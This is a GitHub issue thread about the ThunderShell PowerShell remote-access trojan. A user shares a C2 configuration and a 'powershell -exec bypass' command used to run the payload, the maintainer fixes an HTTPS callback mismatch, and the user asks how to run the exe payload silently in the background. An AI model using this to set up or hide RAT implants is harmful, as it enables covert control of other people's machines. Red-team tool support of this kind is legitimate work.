Mr-Un1k0d3r / ThunderShell

Python / C# Unmanaged PowerShell based RAT
Other
772 stars 223 forks source link

Payload not working on windows 7/10 #29

Closed ghost closed 5 years ago

ghost commented 5 years ago

All the configuration file i configured it carefully. i ran it on parrot security os 14 vmware under the windows 10 home host machine. here is my configuration file: { "aliases": { "myalias": "" }, "callback-url": "https://192.168.43.110:8080", "cli-sync-delay": 5, "encryption-key": "NJtfJBxrxYsFpSQcLStlZIkG", "gui-host": "192.168.43.110", "gui-https-cert-path": "cert.pem", "gui-https-enabled": "off", "gui-port": "13337", "http-default-404": "default.html", "http-download-path": "cat.png", "http-host": "192.168.43.110", "http-port": 8080, "http-profile": "profile.json", "http-server": "Microsoft-IIS/7.5", "https-cert-path": "cert.pem", "https-enabled": "off", "max-output-timeout": 5, "redis-host": "localhost", "redis-port": 6379, "server-password": "QhGCkBuIFKlNCrqVRYcSNwxgDyvrFUkh" }

On the server side:

After i run "sudo python3 ThunderShell.py default.json MrUn1k0d3r" The cli is showing the UUID username and password with the web GUI login without any error. Then i login and it show gui as normally.

On the client side:

I test on windows 10 and download ps file and run the command "powershell -exec bypass import-module .\payloadname.ps1"

After press enter the terminal is freeze and show nothing.

I checked on the attacker side, on the client area is blank.

I also download an exe file and execute it on both windows 7 and 10 but it showing the blank terminal...

so what is the problem?

Mr-Un1k0d3r commented 5 years ago

based on the configuration file you provided your callback-url is using HTTPS however the fowolling is set to disable HTTPS "https-enabled": "off".

if your callback is using HTTPS this need to be set to on.

if you don't want to use HTTPS change your callback-url by replacing https:// to http://

ghost commented 5 years ago

okay thank you brother, now testing and it working on windows 10...for windows 7 it not responding...

One more thing is the exe payload is still prompt on the terminal.....how to silently run this payload in the background?

best regards,

Mr-Un1k0d3r commented 5 years ago

I will update the payload to make sure the window doesn't show up when the exe is executedSent from my Samsung Galaxy smartphone. -------- Original message --------From: Putthik notifications@github.com Date: 2019-03-14 12:39 p.m. (GMT-05:00) To: Mr-Un1k0d3r/ThunderShell ThunderShell@noreply.github.com Cc: "Mr.Un1k0d3r" mr.un1k0d3r@gmail.com, Comment comment@noreply.github.com Subject: Re: [Mr-Un1k0d3r/ThunderShell] Payload not working on windows 7/10 (#29) okay thank you brother, now testing and it working on windows 10...for windows 7 it not responding... One more thing is the exe payload is still prompt on the terminal.....how to silently run this payload in the background? best regards,

—You are receiving this because you commented.Reply to this email directly, view it on GitHub, or mute the thread. {"api_version":"1.0","publisher":{"api_key":"05dde50f1d1a384dd78767c55493e4bb","name":"GitHub"},"entity":{"external_key":"github/Mr-Un1k0d3r/ThunderShell","title":"Mr-Un1k0d3r/ThunderShell","subtitle":"GitHub repository","main_image_url":"https://github.githubassets.com/images/email/message_cards/header.png","avatar_image_url":"https://github.githubassets.com/images/email/message_cards/avatar.png","action":{"name":"Open in GitHub","url":"https://github.com/Mr-Un1k0d3r/ThunderShell"}},"updates":{"snippets":[{"icon":"PERSON","message":"@th1k404 in #29: okay thank you brother, now testing and it working on windows 10...for windows 7 it not responding...\r\n\r\nOne more thing is the exe payload is still prompt on the terminal.....how to silently run this payload in the background?\r\n\r\nbest regards, "}],"action":{"name":"View Issue","url":"https://github.com/Mr-Un1k0d3r/ThunderShell/issues/29#issuecomment-472954278"}}}</s cript>

Githubissues.
  • Githubissues is a development platform for aggregating issues.